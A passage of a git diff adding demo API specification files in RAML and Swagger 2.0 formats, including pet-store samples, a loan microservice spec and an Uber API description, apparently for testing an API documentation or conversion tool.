+ Cat: ## "Cat" will be used as the discriminator value
+ description: A representation of a cat
+ allOf:
+ - $ref: '#/components/schemas/Animal'
+ - type: object
+ properties:
+ huntingSkill:
+ type: string
+ description: The measured skill for hunting
+ enum:
+ - clueless
+ - lazy
+ - adventurous
+ - aggressive
+ required:
+ - huntingSkill
+ Dog: ## "Dog" will be used as the discriminator value
+ description: A representation of a dog
+ allOf:
+ - $ref: '#/components/schemas/Animal'
+ - type: object
+ properties:
+ packSize:
+ type: integer
+ format: int32
+ description: the size of the pack the dog is from
+ default: 0
+ minimum: 0
+ required:
+ - packSize
+ Tiger:
+ description: A representation of a Tiger
+ type: object
+ properties:
+ deadliness:
+ type: number
+paths:
+ /pets:
+ get:
+ description: Returns all available pets
+ responses:
+ 200:
+ description: List of pets
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ - $ref: '#/components/schemas/Pet'
\ No newline at end of file
diff --git a/demo/nexmo-sms-api/nexmo-sms-api.raml b/demo/apis/nexmo-sms-api/nexmo-sms-api.raml
similarity index 100%
rename from demo/nexmo-sms-api/nexmo-sms-api.raml
rename to demo/apis/nexmo-sms-api/nexmo-sms-api.raml
diff --git a/demo/apis/no-endpoints/no-endpoints.raml b/demo/apis/no-endpoints/no-endpoints.raml
new file mode 100644
index 0000000..a6962db
--- /dev/null
+++ b/demo/apis/no-endpoints/no-endpoints.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0
+title: Amazon S3 REST API
+version: 1
+mediaType: application/json
+
+types:
+ person:
+ type: object
+ properties:
+ name: string
+ age?: number
+
+ manager:
+ type: person
diff --git a/demo/apis/no-server/no-server.raml b/demo/apis/no-server/no-server.raml
new file mode 100644
index 0000000..2a722b7
--- /dev/null
+++ b/demo/apis/no-server/no-server.raml
@@ -0,0 +1,27 @@
+#%RAML 1.0
+title: Amazon S3 REST API
+version: 1
+mediaType: application/json
+
+types:
+ person:
+ type: object
+ properties:
+ name: string
+ age?: number
+
+ manager:
+ type: person
+
+/users/:
+ get:
+ responses:
+ 200:
+ body:
+ application/json:
+ type: manager
+ example:
+ {
+ name: "Martin",
+ age: 45
+ }
diff --git a/demo/apis/oas-api/LoanMicrosrvice.yaml b/demo/apis/oas-api/LoanMicrosrvice.yaml
new file mode 100644
index 0000000..d280b9f
--- /dev/null
+++ b/demo/apis/oas-api/LoanMicrosrvice.yaml
@@ -0,0 +1,339 @@
+swagger: '2.0'
+info:
+ description: >-
+ Loan microservice contains set of fine grained services to handle with all
+ the loan related informations like, update the User information, generate
+ uinque application id, fetch the nearest branch details, vehicle make and
+ other related information.
+ version: version-1.0.3
+ title: Loan Microservice
+ termsOfService: Terms of service
+ contact:
+ name: John Becker
+ email: JohnBecker@cognizant.com
+host: https://qax.anypoint.mulesoft.com # host: loanapplication.cfapps.io
+basePath: /mocking/api/links/7a6fb617-a7dd-44d6-8213-301202f4b1f7/ # basePath: /
+tags:
+ - name: loan-application-controller
+ description: Loan Application Controller
+paths:
+ /branchdetail:
+ get:
+ tags:
+ - loan-application-controller
+ summary: Fetch Branch Details
+ description: Service to fetch the Branch Details based on the Given Zip code
+ operationId: fetchBranchDetailsUsingGET
+ consumes:
+ - application/json
+ produces:
+ - application/json
+ parameters:
+ - name: zipCode
+ in: query
+ description: >-
+ Input the zipcode value to get the branches available in the
+ location
+ required: true
+ type: string
+ responses:
+ '200':
+ description: Successfully retrieved branch details
+ schema:
+ $ref: '#/definitions/Branch'
+ headers:
+ Branch:
+ type: string
+ description: The fetched branch resource
+ '401':
+ description: You are not authorized to view the resource
+ '403':
+ description: Accessing the resource you were trying to reach is forbidden
+ '404':
+ description: The resource you were trying to reach is not found
+ /loanapplication:
+ post:
+ tags:
+ - loan-application-controller
+ summary: Submit Loan Application
+ description: Service to Create a Loan Applicaiton Details
+ operationId: saveLoanApplicationDetailsUsingPOST
+ consumes:
+ - application/json
+ produces:
+ - application/json
+ parameters:
+ - in: body
+ name: loanApplication
+ description: >-
+ Input the loanapplication object to save the loan details to the
+ service
+ required: true
+ schema:
+ $ref: '#/definitions/LoanApplication'
+ responses:
+ '200':
+ description: Successfully retrieved loan application
+ schema:
+ $ref: '#/definitions/Application'
+ headers:
+ Application:
+ type: string
+ description: The submitted Loan resource
+ '201':
+ description: Created
+ '401':
+ description: You are not authorized to view the resource
+ '403':
+ description: Accessing the resource you were trying to reach is forbidden
+ '404':
+ description: The resource you were trying to reach is not found
+ /username:
+ get:
+ tags:
+ - loan-application-controller
+ summary: Find ApplicationId
+ description: Service to find application id based on user name
+ operationId: findByUserNameUsingGET
+ consumes:
+ - application/json
+ produces:
+ - application/json
+ parameters:
+ - name: userName
+ in: query
+ description: >-
+ Input the username to fetch the application details available for
+ the user
+ required: true
+ type: string
+ responses:
+ '200':
+ description: Successfully retrieved account details
+ schema:
+ type: string
+ headers:
+ ApplicationId:
+ type: string
+ description: The fetched ApplicationId resource
+ '401':
+ description: You are not authorized to view the resource
+ '403':
+ description: Accessing the resource you were trying to reach is forbidden
+ '404':
+ description: The resource you were trying to reach is not found
+ /vehicledetail:
+ get:
+ tags:
+ - loan-application-controller
+ summary: Find Vehicle Details
+ description: Service to find the vehicle model based on vehicle make
+ operationId: findByVehicleModelUsingGET
+ consumes:
+ - application/json
+ produces:
+ - application/json
+ parameters:
+ - name: vehicleMake
+ in: query
+ description: Input the vehiclemake value to retrieve the vehicle details
+ required: true
+ type: string
+ responses:
+ '200':
+ description: Successfully retrieved vechicle details
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/VehicleDetail'
+ headers:
+ VehicleDetail:
+ type: string
+ description: The fetched VehicleDetail resource
+ '401':
+ description: You are not authorized to view the resource
+ '403':
+ description: Accessing the resource you were trying to reach is forbidden
+ '404':
+ description: The resource you were trying to reach is not found
+definitions:
+ Vehicle:
+ type: object
+ properties:
+ approxMileage:
+ type: string
+ city:
+ type: string
+ estimatedValue:
+ type: integer
+ format: int32
+ regState:
+ type: string
+ sellerAddress:
+ type: string
+ sellerName:
+ type: string
+ state:
+ type: string
+ street:
+ type: string
+ transactionType:
+ type: string
+ vehIdentNo:
+ type: string
+ vehicleId:
+ type: integer
+ format: int32
+ vehicleMake:
+ type: string
+ vehicleModel:
+ type: string
+ vehicleType:
+ type: string
+ vehicleYear:
+ type: integer
+ format: int32
+ zipCode:
+ type: string
+ VehicleDetail:
+ type: object
+ properties:
+ id:
+ type: string
+ vehIdentNo:
+ type: string
+ vehicleDetailsId:
+ type: integer
+ format: int32
+ vehicleMake:
+ type: string
+ vehicleModel:
+ type: string
+ vehicleType:
+ type: string
+ vehicleYear:
+ type: integer
+ format: int32
+ User:
+ type: object
+ properties:
+ addTypePrevious:
+ type: string
+ addTypePrimary:
+ type: string
+ annualIncome:
+ type: integer
+ anyPoliticalRelationship:
+ type: boolean
+ apartmentNo:
+ type: string
+ citizenOf:
+ type: boolean
+ city:
+ type: string
+ dateOfBirth:
+ type: string
+ format: date-time
+ email:
+ type: string
+ firstName:
+ type: string
+ housingStatus:
+ type: string
+ initial:
+ type: string
+ lastName:
+ type: string
+ monthlyPayment:
+ type: integer
+ monthsAtCurrAdd:
+ type: integer
+ format: int32
+ otherIncome:
+ type: string
+ permanentResidence:
+ type: boolean
+ phoneNo:
+ type: integer
+ format: int32
+ ssn:
+ type: integer
+ format: int32
+ state:
+ type: string
+ street:
+ type: string
+ suffix:
+ type: string
+ uid:
+ type: integer
+ format: int32
+ userName:
+ type: string
+ yearsAtCurrAdd:
+ type: integer
+ format: int32
+ zipCode:
+ type: string
+ Branch:
+ type: object
+ properties:
+ apartmentNo:
+ type: string
+ branchId:
+ type: integer
+ format: int32
+ branchName:
+ type: string
+ city:
+ type: string
+ contactPerson:
+ type: string
+ phoneNo:
+ type: string
+ state:
+ type: string
+ street:
+ type: string
+ zipCode:
+ type: string
+ LoanApplication:
+ type: object
+ properties:
+ application:
+ $ref: '#/definitions/Application'
+ user:
+ $ref: '#/definitions/User'
+ Application:
+ type: object
+ properties:
+ applicationId:
+ type: string
+ applicationState:
+ type: string
+ applicationStatus:
+ type: string
+ branch:
+ $ref: '#/definitions/Branch'
+ loanTerm:
+ type: integer
+ format: int32
+ loanYearPeriod:
+ type: integer
+ format: int32
+ ownerShip:
+ type: string
+ pendingWith:
+ type: string
+ requestedAmt:
+ type: integer
+ format: int32
+ uid:
+ type: integer
+ format: int32
+ user:
+ $ref: '#/definitions/User'
+ userName:
+ type: string
+ vehicle:
+ $ref: '#/definitions/Vehicle'
\ No newline at end of file
diff --git a/demo/apis/oas-api/Petstore-v2.yaml b/demo/apis/oas-api/Petstore-v2.yaml
new file mode 100644
index 0000000..63dca45
--- /dev/null
+++ b/demo/apis/oas-api/Petstore-v2.yaml
@@ -0,0 +1,144 @@
+swagger: "2.0"
+info:
+ version: 1.0.0
+ title: Swagger Petstore
+ description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+ termsOfService: http://swagger.io/terms/
+ contact:
+ name: Swagger API Team
+ email: apiteam@swagger.io
+ url: http://swagger.io
+ license:
+ name: Apache 2.0
+ url: https://www.apache.org/licenses/LICENSE-2.0.html
+host: petstore.swagger.io
+basePath: /api
+schemes:
+ - http
+consumes:
+ - application/json
+produces:
+ - application/json
+paths:
+ /pets:
+ get:
+ description: |
+ Returns all pets from the system that the user has access to
+ operationId: findPets
+ summary: Finds pets by tag
+ deprecated: true
+ parameters:
+ - name: tags
+ in: query
+ description: tags to filter by
+ required: false
+ type: array
+ collectionFormat: csv
+ items:
+ type: string
+ - name: limit
+ in: query
+ description: maximum number of results to return
+ required: false
+ type: integer
+ format: int32
+ responses:
+ "200":
+ description: pet response
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ post:
+ description: Creates a new pet in the store. Duplicates are allowed
+ operationId: addPet
+ parameters:
+ - name: pet
+ in: body
+ description: Pet to add to the store
+ required: true
+ schema:
+ $ref: '#/definitions/NewPet'
+ responses:
+ "200":
+ description: pet response
+ schema:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /pets/{id}:
+ get:
+ description: Returns a user based on a single ID, if the user does not have access to the pet
+ operationId: find pet by id
+ parameters:
+ - name: id
+ in: path
+ description: ID of pet to fetch
+ required: true
+ type: integer
+ format: int64
+ responses:
+ "200":
+ description: pet response
+ schema:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ delete:
+ description: deletes a single pet based on the ID supplied
+ operationId: deletePet
+ parameters:
+ - name: id
+ in: path
+ description: ID of pet to delete
+ required: true
+ type: integer
+ format: int64
+ responses:
+ "204":
+ description: pet deleted
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+definitions:
+ Pet:
+ allOf:
+ - $ref: '#/definitions/NewPet'
+ - $ref: '#/definitions/Error'
+ - required:
+ - id
+ properties:
+ id:
+ type: integer
+ format: int64
+ test:
+ type: string
+
+ NewPet:
+ required:
+ - name
+ properties:
+ name:
+ type: string
+ tag:
+ type: string
+
+ Error:
+ required:
+ - code
+ - message
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
diff --git a/demo/apis/oas-api/Petstore.raml b/demo/apis/oas-api/Petstore.raml
new file mode 100644
index 0000000..a045773
--- /dev/null
+++ b/demo/apis/oas-api/Petstore.raml
@@ -0,0 +1,141 @@
+#%RAML 1.0
+title: Swagger Petstore
+description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+version: 1.0.0
+(oas-info):
+ termsOfService: 'http://swagger.io/terms/'
+ contact:
+ name: Swagger API Team
+ url: 'http://swagger.io'
+ email: apiteam@swagger.io
+ license:
+ name: Apache 2.0
+ url: 'https://www.apache.org/licenses/LICENSE-2.0.html'
+annotationTypes:
+ oas-info:
+ properties:
+ termsOfService?: string
+ contact?:
+ properties:
+ name?: string
+ url?: string
+ email?: string
+ license?:
+ properties:
+ name?: string
+ url?: string
+ allowedTargets: API
+ oas-responses-default:
+ type: any
+ allowedTargets: Method
+ oas-collectionFormat:
+ type: string
+ oas-body-name:
+ type: string
+ allowedTargets: TypeDeclaration
+mediaType: application/json
+protocols:
+ - HTTP
+baseUri: 'http://petstore.swagger.io/api'
+types:
+ Pet:
+ type: NewPet
+ properties:
+ id:
+ type: integer
+ format: int64
+ NewPet:
+ properties:
+ name:
+ type: string
+ tag:
+ type: string
+ required: false
+ Error:
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
+/pets:
+ get:
+ description: |
+ Returns all pets from the system that the user has access to
+ displayName: findPets
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: array
+ items:
+ type: Pet
+ queryParameters:
+ tags:
+ description: tags to filter by
+ required: false
+ type: array
+ items:
+ type: string
+ (oas-collectionFormat): csv
+ limit:
+ description: maximum number of results to return
+ required: false
+ type: integer
+ format: int32
+ post:
+ description: Creates a new pet in the store. Duplicates are allowed
+ displayName: addPet
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: Pet
+ body:
+ application/json:
+ description: Pet to add to the store
+ type: NewPet
+ (oas-body-name): pet
+ '/{id}':
+ get:
+ description: 'Returns a user based on a single ID, if the user does not have access to the pet'
+ displayName: find pet by id
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: Pet
+ delete:
+ description: deletes a single pet based on the ID supplied
+ displayName: deletePet
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '204':
+ description: pet deleted
+ uriParameters:
+ id:
+ description: ID of pet to delete
+ type: integer
+ format: int64
diff --git a/demo/apis/oas-api/UBER.raml b/demo/apis/oas-api/UBER.raml
new file mode 100644
index 0000000..54ec130
--- /dev/null
+++ b/demo/apis/oas-api/UBER.raml
@@ -0,0 +1,274 @@
+#%RAML 1.0
+title: Uber API
+description: Move your app forward with the Uber API
+version: 1.0.0
+mediaType: application/json
+protocols:
+ - HTTPS
+baseUri: https://mocksvc.mulesoft.com/mocks/b676fe7d-73fc-43fe-bc91-6e1a6d7207ee/v1 # baseUri: 'https://api.uber.com/v1'
+securitySchemes:
+ apikey:
+ type: Pass Through
+ describedBy:
+ queryParameters:
+ server_token:
+ type: string
+types:
+ Product:
+ properties:
+ product_id:
+ description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles.'
+ type: string
+ description:
+ description: Description of product.
+ type: string
+ display_name:
+ description: Display name of product.
+ type: string
+ capacity:
+ description: 'Capacity of product. For example, 4 people.'
+ type: integer
+ image:
+ description: Image URL representing the product.
+ type: string
+ ProductList:
+ properties:
+ products:
+ description: Contains the list of products
+ type: array
+ items:
+ type: Product
+ PriceEstimate:
+ properties:
+ product_id:
+ description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles'
+ type: string
+ currency_code:
+ description: '[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code.'
+ type: string
+ display_name:
+ description: Display name of product.
+ type: string
+ estimate:
+ description: 'Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI.'
+ type: string
+ low_estimate:
+ description: Lower bound of the estimated price.
+ type: number
+ high_estimate:
+ description: Upper bound of the estimated price.
+ type: number
+ surge_multiplier:
+ description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier.
+ type: number
+ Profile:
+ properties:
+ first_name:
+ description: First name of the Uber user.
+ type: string
+ last_name:
+ description: Last name of the Uber user.
+ type: string
+ email:
+ description: Email address of the Uber user
+ type: string
+ picture:
+ description: Image URL of the Uber user.
+ type: string
+ promo_code:
+ description: Promo code of the Uber user.
+ type: string
+ Activity:
+ properties:
+ uuid:
+ description: Unique identifier for the activity
+ type: string
+ Activities:
+ properties:
+ offset:
+ description: Position in pagination.
+ type: integer
+ format: int32
+ limit:
+ description: Number of items to retrieve (100 max).
+ type: integer
+ format: int32
+ count:
+ description: Total number of items available.
+ type: integer
+ format: int32
+ history:
+ type: array
+ items:
+ type: Activity
+ Error:
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
+ fields:
+ type: string
+annotationTypes:
+ oas-responses-default:
+ type: any
+ allowedTargets: Method
+ oas-summary:
+ type: string
+ allowedTargets: Method
+ oas-tags:
+ type: 'string[]'
+ allowedTargets: Method
+ oas-format:
+ type: string
+ allowedTargets: TypeDeclaration
+/estimates:
+ /price:
+ get:
+ description: 'The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.
The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier.'
+ (oas-responses-default):
+ description: Unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: An array of price estimates by product
+ body:
+ application/json:
+ type: array
+ items:
+ type: PriceEstimate
+ queryParameters:
+ start_latitude:
+ description: Latitude component of start location.
+ type: number
+ format: double
+ start_longitude:
+ description: Longitude component of start location.
+ type: number
+ format: double
+ end_latitude:
+ description: Latitude component of end location.
+ type: number
+ format: double
+ end_longitude:
+ description: Longitude component of end location.
+ type: number
+ format: double
+ (oas-summary): Price Estimates
+ (oas-tags):
+ - Estimates
+ /time:
+ get:
+ description: 'The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs.'
+ (oas-responses-default):
+ description: Unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: An array of products
+ body:
+ application/json:
+ type: array
+ items:
+ type: Product
+ queryParameters:
+ start_latitude:
+ description: Latitude component of start location.
+ type: number
+ format: double
+ start_longitude:
+ description: Longitude component of start location.
+ type: number
+ format: double
+ customer_uuid:
+ description: Unique customer identifier to be used for experience customization.
+ type: string
+ (oas-format): uuid
+ required: false
+ product_id:
+ description: Unique identifier representing a specific product for a given latitude & longitude.
+ type: string
+ required: false
+ (oas-summary): Time Estimates
+ (oas-tags):
+ - Estimates
+/history:
+ get:
+ description: 'The User Activity endpoint returns data about a user''s lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.
The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary.'
+ (oas-responses-default):
+ description: Unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: History information for the given user
+ body:
+ application/json:
+ type: Activities
+ queryParameters:
+ offset:
+ description: Offset the list of returned results by this amount. Default is zero.
+ type: integer
+ format: int32
+ required: false
+ limit:
+ description: 'Number of items to retrieve. Default is 5, maximum is 100.'
+ type: integer
+ format: int32
+ required: false
+ (oas-summary): User Activity
+ (oas-tags):
+ - User
+/me:
+ get:
+ description: The User Profile endpoint returns information about the Uber user that has authorized with the application.
+ (oas-responses-default):
+ description: Unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: Profile information for a user
+ body:
+ application/json:
+ type: Profile
+ (oas-summary): User Profile
+ (oas-tags):
+ - User
+/products:
+ get:
+ description: 'The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order.'
+ (oas-responses-default):
+ description: Unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: An array of products
+ body:
+ application/json:
+ type: array
+ items:
+ type: Product
+ queryParameters:
+ latitude:
+ description: Latitude component of location.
+ type: number
+ format: double
+ longitude:
+ description: Longitude component of location.
+ type: number
+ format: double
+ securedBy:
+ - apikey
+ (oas-summary): Product Types
+ (oas-tags):
+ - Products
diff --git a/demo/apis/oas-api/UBER.yaml b/demo/apis/oas-api/UBER.yaml
new file mode 100644
index 0000000..173b7c3
--- /dev/null
+++ b/demo/apis/oas-api/UBER.yaml
@@ -0,0 +1,272 @@
+swagger: "2.0"
+info:
+ title: Uber API
+ description: Move your app forward with the Uber API
+ version: "1.0.0"
+# the domain of the service
+host: api.uber.com
+# array of all schemes that your API supports
+schemes:
+ - https
+# will be prefixed to all paths
+basePath: /v1
+securityDefinitions:
+ apikey:
+ type: apiKey
+ name: server_token
+ in: query
+produces:
+ - application/json
+paths:
+ /products:
+ get:
+ summary: Product Types
+ description: The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order.
+
+ parameters:
+ - name: latitude
+ in: query
+ description: Latitude component of location.
+ required: true
+ type: number
+ format: double
+ - name: longitude
+ in: query
+ description: Longitude component of location.
+ required: true
+ type: number
+ format: double
+ security:
+ - apikey: []
+ tags:
+ - Products
+ responses:
+ "200":
+ description: An array of products
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/Product'
+ default:
+ description: Unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /estimates/price:
+ get:
+ summary: Price Estimates
+ description: The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.
The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier.
+ parameters:
+ - name: start_latitude
+ in: query
+ description: Latitude component of start location.
+ required: true
+ type: number
+ format: double
+ - name: start_longitude
+ in: query
+ description: Longitude component of start location.
+ required: true
+ type: number
+ format: double
+ - name: end_latitude
+ in: query
+ description: Latitude component of end location.
+ required: true
+ type: number
+ format: double
+ - name: end_longitude
+ in: query
+ description: Longitude component of end location.
+ required: true
+ type: number
+ format: double
+ tags:
+ - Estimates
+ responses:
+ "200":
+ description: An array of price estimates by product
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/PriceEstimate'
+ default:
+ description: Unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /estimates/time:
+ get:
+ summary: Time Estimates
+ description: The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs.
+ parameters:
+ - name: start_latitude
+ in: query
+ description: Latitude component of start location.
+ required: true
+ type: number
+ format: double
+ - name: start_longitude
+ in: query
+ description: Longitude component of start location.
+ required: true
+ type: number
+ format: double
+ - name: customer_uuid
+ in: query
+ type: string
+ format: uuid
+ description: Unique customer identifier to be used for experience customization.
+ - name: product_id
+ in: query
+ type: string
+ description: Unique identifier representing a specific product for a given latitude & longitude.
+ tags:
+ - Estimates
+ responses:
+ "200":
+ description: An array of products
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/Product'
+ default:
+ description: Unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /me:
+ get:
+ summary: User Profile
+ description: The User Profile endpoint returns information about the Uber user that has authorized with the application.
+ tags:
+ - User
+ responses:
+ "200":
+ description: Profile information for a user
+ schema:
+ $ref: '#/definitions/Profile'
+ default:
+ description: Unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /history:
+ get:
+ summary: User Activity
+ description: The User Activity endpoint returns data about a user's lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.
The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary.
+ parameters:
+ - name: offset
+ in: query
+ type: integer
+ format: int32
+ description: Offset the list of returned results by this amount. Default is zero.
+ - name: limit
+ in: query
+ type: integer
+ format: int32
+ description: Number of items to retrieve. Default is 5, maximum is 100.
+ tags:
+ - User
+ responses:
+ "200":
+ description: History information for the given user
+ schema:
+ $ref: '#/definitions/Activities'
+ default:
+ description: Unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+definitions:
+ Product:
+ properties:
+ product_id:
+ type: string
+ description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles.
+ description:
+ type: string
+ description: Description of product.
+ display_name:
+ type: string
+ description: Display name of product.
+ capacity:
+ type: integer
+ description: Capacity of product. For example, 4 people.
+ image:
+ type: string
+ description: Image URL representing the product.
+ ProductList:
+ properties:
+ products:
+ description: Contains the list of products
+ type: array
+ items:
+ $ref: "#/definitions/Product"
+ PriceEstimate:
+ properties:
+ product_id:
+ type: string
+ description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles
+ currency_code:
+ type: string
+ description: "[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code."
+ display_name:
+ type: string
+ description: Display name of product.
+ estimate:
+ type: string
+ description: Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI.
+ low_estimate:
+ type: number
+ description: Lower bound of the estimated price.
+ high_estimate:
+ type: number
+ description: Upper bound of the estimated price.
+ surge_multiplier:
+ type: number
+ description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier.
+ Profile:
+ properties:
+ first_name:
+ type: string
+ description: First name of the Uber user.
+ last_name:
+ type: string
+ description: Last name of the Uber user.
+ email:
+ type: string
+ description: Email address of the Uber user
+ picture:
+ type: string
+ description: Image URL of the Uber user.
+ promo_code:
+ type: string
+ description: Promo code of the Uber user.
+ Activity:
+ properties:
+ uuid:
+ type: string
+ description: Unique identifier for the activity
+ Activities:
+ properties:
+ offset:
+ type: integer
+ format: int32
+ description: Position in pagination.
+ limit:
+ type: integer
+ format: int32
+ description: Number of items to retrieve (100 max).
+ count:
+ type: integer
+ format: int32
+ description: Total number of items available.
+ history:
+ type: array
+ items:
+ $ref: '#/definitions/Activity'
+ Error:
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
+ fields:
+ type: string
\ No newline at end of file
diff --git a/demo/apis/oas-api/petstore-expanded.raml b/demo/apis/oas-api/petstore-expanded.raml
new file mode 100644
index 0000000..a045773
--- /dev/null
+++ b/demo/apis/oas-api/petstore-expanded.raml
@@ -0,0 +1,141 @@
+#%RAML 1.0
+title: Swagger Petstore
+description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+version: 1.0.0
+(oas-info):
+ termsOfService: 'http://swagger.io/terms/'
+ contact:
+ name: Swagger API Team
+ url: 'http://swagger.io'
+ email: apiteam@swagger.io
+ license:
+ name: Apache 2.0
+ url: 'https://www.apache.org/licenses/LICENSE-2.0.html'
+annotationTypes:
+ oas-info:
+ properties:
+ termsOfService?: string
+ contact?:
+ properties:
+ name?: string
+ url?: string
+ email?: string
+ license?:
+ properties:
+ name?: string
+ url?: string
+ allowedTargets: API
+ oas-responses-default:
+ type: any
+ allowedTargets: Method
+ oas-collectionFormat:
+ type: string
+ oas-body-name:
+ type: string
+ allowedTargets: TypeDeclaration
+mediaType: application/json
+protocols:
+ - HTTP
+baseUri: 'http://petstore.swagger.io/api'
+types:
+ Pet:
+ type: NewPet
+ properties:
+ id:
+ type: integer
+ format: int64
+ NewPet:
+ properties:
+ name:
+ type: string
+ tag:
+ type: string
+ required: false
+ Error:
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
+/pets:
+ get:
+ description: |
+ Returns all pets from the system that the user has access to
+ displayName: findPets
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: array
+ items:
+ type: Pet
+ queryParameters:
+ tags:
+ description: tags to filter by
+ required: false
+ type: array
+ items:
+ type: string
+ (oas-collectionFormat): csv
+ limit:
+ description: maximum number of results to return
+ required: false
+ type: integer
+ format: int32
+ post:
+ description: Creates a new pet in the store. Duplicates are allowed
+ displayName: addPet
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: Pet
+ body:
+ application/json:
+ description: Pet to add to the store
+ type: NewPet
+ (oas-body-name): pet
+ '/{id}':
+ get:
+ description: 'Returns a user based on a single ID, if the user does not have access to the pet'
+ displayName: find pet by id
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '200':
+ description: pet response
+ body:
+ application/json:
+ type: Pet
+ delete:
+ description: deletes a single pet based on the ID supplied
+ displayName: deletePet
+ (oas-responses-default):
+ description: unexpected error
+ body:
+ application/json:
+ type: Error
+ responses:
+ '204':
+ description: pet deleted
+ uriParameters:
+ id:
+ description: ID of pet to delete
+ type: integer
+ format: int64
diff --git a/demo/apis/oas-api/petstore-expanded.yaml b/demo/apis/oas-api/petstore-expanded.yaml
new file mode 100644
index 0000000..a70757d
--- /dev/null
+++ b/demo/apis/oas-api/petstore-expanded.yaml
@@ -0,0 +1,139 @@
+swagger: "2.0"
+info:
+ version: 1.0.0
+ title: Swagger Petstore
+ description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+ termsOfService: http://swagger.io/terms/
+ contact:
+ name: Swagger API Team
+ email: apiteam@swagger.io
+ url: http://swagger.io
+ license:
+ name: Apache 2.0
+ url: https://www.apache.org/licenses/LICENSE-2.0.html
+host: petstore.swagger.io
+basePath: /api
+schemes:
+ - http
+consumes:
+ - application/json
+produces:
+ - application/json
+paths:
+ /pets:
+ get:
+ description: |
+ Returns all pets from the system that the user has access to
